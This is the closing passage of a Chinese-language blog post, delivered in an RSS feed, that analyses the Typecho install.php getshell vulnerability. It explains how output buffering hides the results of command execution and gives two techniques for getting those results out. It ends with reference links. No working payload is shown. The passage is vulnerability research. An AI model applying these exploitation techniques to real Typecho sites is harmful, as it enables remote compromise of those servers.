&lt;p&gt;最后还有一个&lt;code&gt;ob_start()&lt;/code&gt;的问题，&lt;code&gt;install.php&lt;/code&gt;中开启了这个，&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所以会触发异常后导致500，同时输出内容会在缓冲区会清除，@&lt;a href=&#34;https://lorexxar.cn/&#34;&gt;LoRexxar&amp;rsquo;&lt;/a&gt;给出了两个解决办法&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;1、因为&lt;code&gt;call_user_func&lt;/code&gt;函数处是一个循环，我们可以通过设置数组来控制第二次执行的函数，然后找一处exit 跳出，缓冲区中的数据就会被输出出来。&lt;/p&gt;

&lt;p&gt;2、第二个办法就是在命令执行之后，想办法造成一个报错，语句报错就会强制停止，这样缓冲区中的数据仍然会被输出出来。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;总的来看这个漏洞还是比较经典的，涉及到几个特性和两三层的调用链，至于流传的“后门”说法还是持保留态度，我们还是回归到技术交流本身吧~&lt;/p&gt;

&lt;p&gt;参考:&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/424/&#34;&gt;Typecho 前台 getshell 漏洞分析&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.blogsir.com.cn/safe/452.html&#34;&gt;POP链和序列化，反序列化操作&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>